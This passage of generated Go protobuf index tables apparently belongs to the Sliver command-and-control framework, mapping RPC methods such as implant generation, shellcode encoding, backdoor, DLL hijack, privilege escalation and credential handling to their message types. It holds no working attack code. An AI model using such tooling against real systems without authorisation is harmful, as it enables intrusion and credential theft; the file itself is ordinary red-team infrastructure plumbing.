(*sliverpb.RegistrySubKeyList)(nil), // 199: sliverpb.RegistrySubKeyList + (*sliverpb.RegistryValuesList)(nil), // 200: sliverpb.RegistryValuesList + (*sliverpb.SSHCommand)(nil), // 201: sliverpb.SSHCommand + (*clientpb.DllHijack)(nil), // 202: clientpb.DllHijack + (*sliverpb.GetPrivs)(nil), // 203: sliverpb.GetPrivs + (*sliverpb.RportFwdListener)(nil), // 204: sliverpb.RportFwdListener + (*sliverpb.RportFwdListeners)(nil), // 205: sliverpb.RportFwdListeners + (*sliverpb.RegisterExtension)(nil), // 206: sliverpb.RegisterExtension + (*sliverpb.CallExtension)(nil), // 207: sliverpb.CallExtension + (*sliverpb.ListExtensions)(nil), // 208: sliverpb.ListExtensions + (*sliverpb.RegisterWasmExtension)(nil), // 209: sliverpb.RegisterWasmExtension + (*sliverpb.ListWasmExtensions)(nil), // 210: sliverpb.ListWasmExtensions + (*sliverpb.ExecWasmExtension)(nil), // 211: sliverpb.ExecWasmExtension + (*sliverpb.WGPortForward)(nil), // 212: sliverpb.WGPortForward + (*sliverpb.WGSocks)(nil), // 213: sliverpb.WGSocks + (*sliverpb.WGTCPForwarders)(nil), // 214: sliverpb.WGTCPForwarders + (*sliverpb.WGSocksServers)(nil), // 215: sliverpb.WGSocksServers + (*sliverpb.Shell)(nil), // 216: sliverpb.Shell + (*sliverpb.Portfwd)(nil), // 217: sliverpb.Portfwd } var file_rpcpb_services_proto_depIdxs = []int32{ 0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty - 1, // 1: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData - 2, // 2: rpcpb.SliverRPC.Kill:input_type -> sliverpb.KillReq - 3, // 3: rpcpb.SliverRPC.Reconfigure:input_type -> sliverpb.ReconfigureReq - 4, // 4: rpcpb.SliverRPC.Rename:input_type -> clientpb.RenameReq - 5, // 5: rpcpb.SliverRPC.ImplantHistory:input_type -> clientpb.ImplantCommand - 6, // 6: rpcpb.SliverRPC.GetImplantHistory:input_type -> clientpb.HistoryRequest - 0, // 7: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty - 0, // 8: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty - 7, // 9: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon - 7, // 10: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon - 7, // 11: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon - 8, // 12: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask - 8, // 13: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask - 0, // 14: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty - 0, // 15: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty - 0, // 16: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty - 9, // 17: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq - 10, // 18: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq - 11, // 19: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq - 12, // 20: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq - 13, // 21: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq - 13, // 22: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq - 14, // 23: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq - 14, // 24: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq - 15, // 25: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot - 15, // 26: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot - 15, // 27: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot - 15, // 28: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot - 0, // 29: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty - 0, // 30: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty - 16, // 31: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials - 16, // 32: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials - 16, // 33: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials - 17, // 34: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential - 17, // 35: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential - 17, // 36: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential - 17, // 37: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential - 0, // 38: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty - 18, // 39: rpcpb.SliverRPC.Host:input_type -> clientpb.Host - 18, // 40: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host - 19, // 41: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC - 20, // 42: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq - 21, // 43: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq - 22, // 44: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary - 23, // 45: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:input_type -> clientpb.ImplantConfig - 24, // 46: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder - 25, // 47: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event - 0, // 48: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty - 26, // 49: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation - 25, // 50: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event - 27, // 51: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark - 0, // 52: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty - 28, // 53: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask - 28, // 54: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask - 29, // 55: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile - 29, // 56: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile - 30, // 57: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk - 30, // 58: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk - 29, // 59: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile - 29, // 60: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile - 31, // 61: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq - 0, // 62: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty - 32, // 63: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq - 0, // 64: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty - 0, // 65: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty - 0, // 66: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty - 0, // 67: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty - 32, // 68: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq - 33, // 69: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile - 34, // 70: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq - 35, // 71: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq - 0, // 72: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty - 0, // 73: rpcpb.SliverRPC.GetMetasploitCompiler:input_type -> commonpb.Empty - 36, // 74: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq - 0, // 75: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty - 0, // 76: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty - 37, // 77: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder - 37, // 78: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder - 0, // 79: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty - 38, // 80: rpcpb.SliverRPC.Website:input_type -> clientpb.Website - 38, // 81: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website - 39, // 82: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent - 39, // 83: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent - 40, // 84: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent - 41, // 85: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping - 42, // 86: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq - 43, // 87: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq - 44, // 88: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq - 45, // 89: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq - 46, // 90: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq - 47, // 91: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq - 48, // 92: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq - 49, // 93: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq - 50, // 94: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq - 51, // 95: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq - 52, // 96: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq - 53, // 97: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq - 54, // 98: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq - 55, // 99: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq - 56, // 100: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq - 57, // 101: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq - 58, // 102: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq - 59, // 103: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq - 60, // 104: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq - 61, // 105: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq - 62, // 106: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq - 63, // 107: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq - 64, // 108: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq - 65, // 109: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq - 66, // 110: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq - 67, // 111: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq - 68, // 112: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq - 69, // 113: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq - 70, // 114: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq - 71, // 115: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq - 72, // 116: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq - 73, // 117: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq - 74, // 118: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq - 75, // 119: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq - 76, // 120: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq - 77, // 121: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq - 78, // 122: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq - 79, // 123: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq - 0, // 124: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty - 80, // 125: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq - 81, // 126: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq - 82, // 127: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq - 83, // 128: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq - 84, // 129: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq - 85, // 130: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq - 86, // 131: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq - 87, // 132: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq - 88, // 133: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq - 89, // 134: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq - 90, // 135: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq - 91, // 136: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq - 92, // 137: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq - 93, // 138: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq - 94, // 139: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq - 95, // 140: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq - 96, // 141: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq - 97, // 142: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq - 98, // 143: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq - 99, // 144: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq - 100, // 145: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession - 101, // 146: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession - 102, // 147: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq - 103, // 148: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq - 104, // 149: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq - 105, // 150: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq - 106, // 151: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq - 107, // 152: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq - 108, // 153: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq - 109, // 154: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq - 110, // 155: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq - 111, // 156: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq - 112, // 157: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq - 113, // 158: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq - 114, // 159: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq - 115, // 160: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq - 116, // 161: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks - 116, // 162: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks - 117, // 163: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData - 118, // 164: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel - 118, // 165: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel - 119, // 166: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData - 0, // 167: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty - 120, // 168: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version - 0, // 169: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty - 0, // 170: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty - 121, // 171: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure - 0, // 172: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty - 0, // 173: rpcpb.SliverRPC.ImplantHistory:output_type -> commonpb.Empty - 122, // 174: rpcpb.SliverRPC.GetImplantHistory:output_type -> clientpb.History - 123, // 175: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions - 124, // 176: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons - 7, // 177: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon - 0, // 178: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty - 125, // 179: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks - 8, // 180: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask - 8, // 181: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask - 126, // 182: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response - 0, // 183: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty - 127, // 184: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs - 128, // 185: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob - 129, // 186: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener - 130, // 187: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener - 131, // 188: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener - 132, // 189: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener - 132, // 190: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener - 133, // 191: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener - 133, // 192: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener - 15, // 193: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot - 0, // 194: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty - 15, // 195: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot - 15, // 196: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot - 134, // 197: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot - 16, // 198: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials - 0, // 199: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty - 0, // 200: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty - 0, // 201: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty - 17, // 202: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential - 16, // 203: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials - 16, // 204: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials - 17, // 205: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential - 135, // 206: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts - 18, // 207: rpcpb.SliverRPC.Host:output_type -> clientpb.Host - 0, // 208: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty - 0, // 209: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty - 136, // 210: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate - 137, // 211: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig - 0, // 212: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty - 137, // 213: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig - 25, // 214: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event - 0, // 215: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty - 138, // 216: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders - 25, // 217: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event - 0, // 218: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty - 0, // 219: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty - 139, // 220: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations - 28, // 221: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask - 0, // 222: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty - 140, // 223: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles - 29, // 224: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile - 0, // 225: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty - 30, // 226: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk - 0, // 227: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty - 0, // 228: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty - 136, // 229: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate - 141, // 230: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds - 0, // 231: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty - 142, // 232: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries - 143, // 233: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig - 144, // 234: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP - 145, // 235: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles - 0, // 236: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty - 33, // 237: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile - 146, // 238: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager - 147, // 239: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI - 148, // 240: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler - 149, // 241: rpcpb.SliverRPC.GetMetasploitCompiler:output_type -> clientpb.MetasploitCompiler - 150, // 242: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode - 151, // 243: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap - 152, // 244: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap - 153, // 245: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests - 0, // 246: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty - 154, // 247: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites - 38, // 248: rpcpb.SliverRPC.Website:output_type -> clientpb.Website - 0, // 249: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty - 38, // 250: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website - 38, // 251: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website - 38, // 252: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website - 41, // 253: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping - 155, // 254: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps - 156, // 255: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate - 157, // 256: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig - 158, // 257: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat - 159, // 258: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls - 160, // 259: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd - 160, // 260: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd - 161, // 261: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv - 162, // 262: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp - 163, // 263: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm - 164, // 264: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir - 165, // 265: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download - 166, // 266: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload - 167, // 267: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod - 168, // 268: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown - 169, // 269: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes - 159, // 270: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls - 170, // 271: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd - 171, // 272: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm - 172, // 273: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump - 173, // 274: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs - 174, // 275: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate - 175, // 276: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf - 176, // 277: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem - 177, // 278: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task - 177, // 279: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task - 177, // 280: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task - 178, // 281: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly - 179, // 282: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate - 180, // 283: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute - 180, // 284: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute - 181, // 285: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload - 182, // 286: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll - 183, // 287: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot - 184, // 288: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner - 185, // 289: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener - 0, // 290: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty - 186, // 291: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners - 187, // 292: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph - 188, // 293: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo - 188, // 294: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo - 188, // 295: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo - 189, // 296: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken - 190, // 297: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo - 191, // 298: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv - 192, // 299: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv - 193, // 300: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor - 194, // 301: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead - 195, // 302: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite - 196, // 303: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey - 197, // 304: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey - 198, // 305: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList - 199, // 306: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList - 200, // 307: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand - 201, // 308: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack - 202, // 309: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs - 203, // 310: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener - 204, // 311: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners - 203, // 312: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener - 100, // 313: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession - 0, // 314: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty - 205, // 315: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension - 206, // 316: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension - 207, // 317: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions - 208, // 318: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension - 209, // 